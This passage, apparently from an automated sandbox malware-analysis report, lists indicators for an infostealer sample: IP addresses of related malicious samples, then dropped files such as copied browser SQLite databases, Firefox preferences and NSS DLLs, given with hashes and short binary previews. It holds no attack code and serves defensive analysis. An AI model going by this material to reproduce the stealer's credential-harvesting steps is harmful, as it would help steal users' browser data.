	gZiwLaFWES.exe	Get hash	malicious	CobaltStrike	Browse	168.119.176.241
	c1a96310dd45b906c51fd21fd604550225e1eec1941245850b24773e22768ad7_dump.exe	Get hash	malicious	LummaC, Vidar	Browse	168.119.176.241
	setup.exe	Get hash	malicious	LummaC, Vidar	Browse	168.119.176.241
	Setup.exe	Get hash	malicious	Vidar	Browse	168.119.176.241
	ewpRRCnxEv.exe	Get hash	malicious	LummaC, Vidar	Browse	168.119.176.241
	p2StQYQ4ck.exe	Get hash	malicious	Vidar	Browse	168.119.176.241
	192-34-56-177-32.exe	Get hash	malicious	CobaltStrike, ReflectiveLoader	Browse	168.119.176.241
	yctcuVMSK9.exe	Get hash	malicious	CobaltStrike, ReflectiveLoader	Browse	168.119.176.241
37f463bf4616ecd445d4a1937da06e19	66adc1d3f237b_mine.exe	Get hash	malicious	Vidar	Browse	104.102.49.249
	SecuriteInfo.com.Trojan.Siggen28.118.3827.25470.exe	Get hash	malicious	Unknown	Browse	104.102.49.249
	Installer.exe	Get hash	malicious	Unknown	Browse	104.102.49.249
	uninstall#U5ba2#U6237#U7aef.exe	Get hash	malicious	Unknown	Browse	104.102.49.249
	uninstall#U5ba2#U6237#U7aef.exe	Get hash	malicious	Deal Ply	Browse	104.102.49.249
	Installer.exe	Get hash	malicious	Unknown	Browse	104.102.49.249
	ConsoleApplication1.exe	Get hash	malicious	GhostRat	Browse	104.102.49.249
	#U516c#U5e03#U540d#U5f55.exe	Get hash	malicious	GhostRat	Browse	104.102.49.249
	Installer.exe	Get hash	malicious	Unknown	Browse	104.102.49.249
	#U540d#U5f55#U5217#U8868_install_.exe	Get hash	malicious	GhostRat	Browse	104.102.49.249

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	66adc1d3f237b_mine.exe	Get hash	malicious	Vidar	Browse
	sorto.exe	Get hash	malicious	Amadey, Babadeda, Stealc	Browse
	c1a96310dd45b906c51fd21fd604550225e1eec1941245850b24773e22768ad7_dump.exe	Get hash	malicious	LummaC, Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.StealC.4.26346.5267.exe	Get hash	malicious	Stealc, Vidar	Browse
	setup.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	setup.exe	Get hash	malicious	LummaC, Vidar	Browse
	ewpRRCnxEv.exe	Get hash	malicious	LummaC, Vidar	Browse
	KIdkDD2sBP.exe	Get hash	malicious	Stealc, Vidar	Browse
	Uwh3E7awuk.exe	Get hash	malicious	Stealc, Vidar	Browse
	5c2NQy6mpB.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	66adc1d3f237b_mine.exe	Get hash	malicious	Vidar	Browse
	sorto.exe	Get hash	malicious	Amadey, Babadeda, Stealc	Browse
	c1a96310dd45b906c51fd21fd604550225e1eec1941245850b24773e22768ad7_dump.exe	Get hash	malicious	LummaC, Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.StealC.4.26346.5267.exe	Get hash	malicious	Stealc, Vidar	Browse
	setup.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	setup.exe	Get hash	malicious	LummaC, Vidar	Browse
	ewpRRCnxEv.exe	Get hash	malicious	LummaC, Vidar	Browse
	KIdkDD2sBP.exe	Get hash	malicious	Stealc, Vidar	Browse
	Uwh3E7awuk.exe	Get hash	malicious	Stealc, Vidar	Browse
	5c2NQy6mpB.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFCAAEHJDBKJ\AAKEGI

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFCAAEHJDBKJ\CFCFHJ

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFCAAEHJDBKJ\CGDHIE

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BFCAAEHJDBKJ\ECFHJK

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFCAAEHJDBKJ\FHDAEH

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFCAAEHJDBKJ\GCAFCA

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFCAAEHJDBKJ\IDGDAA

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFCAAEHJDBKJ\IJKKKF

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFCAAEHJDBKJ\IJKKKF-shm

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFCAAEHJDBKJ\JDAKJD

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFCAAEHJDBKJ\JDAKJD-shm

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDHIDAEHC.exe

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5140480
Entropy (8bit):	7.080918121113332
Encrypted:	false
SSDEEP:	98304:rTuq7CQXa0LJ2aMhpxnbUO6PsJrq6GnRHhPf6:mQXa0LP6pxbAPyWRd
MD5:	4B005E8541F7ED9BD82D80CE58C55C7C
SHA1:	E46BCFEF84B9AE99FE02BFBE1EB0AC464BF28CAC
SHA-256:	A8FB80B6E9D920C26922B29171E8301D5D4D9D4F20CD1B07CAD94234B27C61BE
SHA-512:	C336E9BB988CAA3DB0C7880A91349F9DDC5E82CEC145F99E971090658B37C8FA3C39E77438A7F02A0D9D0F8C138EE20AA0B2C836493C65002378E829CD6917AB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..................L.........N.L.. ....M...@.. ........................N.......N...@...................................L.K.... M......................N.......L.............................................. ............... ..H............text...T.L.. ....L................. ..`.sdata........M.......L.............@....rsrc....... M.......L.............@..@.reloc........N......nN.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCBAKJEHDBGH\BGIJDG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCBAKJEHDBGH\IIIEBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 66adc1d3f237b_mine.exe, Detection: malicious, Browse Filename: sorto.exe, Detection: malicious, Browse Filename: c1a96310dd45b906c51fd21fd604550225e1eec1941245850b24773e22768ad7_dump.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.StealC.4.26346.5267.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: ewpRRCnxEv.exe, Detection: malicious, Browse Filename: KIdkDD2sBP.exe, Detection: malicious, Browse Filename: Uwh3E7awuk.exe, Detection: malicious, Browse Filename: 5c2NQy6mpB.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 66adc1d3f237b_mine.exe, Detection: malicious, Browse Filename: sorto.exe, Detection: malicious, Browse Filename: c1a96310dd45b906c51fd21fd604550225e1eec1941245850b24773e22768ad7_dump.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.StealC.4.26346.5267.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: ewpRRCnxEv.exe, Detection: malicious, Browse Filename: KIdkDD2sBP.exe, Detection: malicious, Browse Filename: Uwh3E7awuk.exe, Detection: malicious, Browse Filename: 5c2NQy6mpB.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
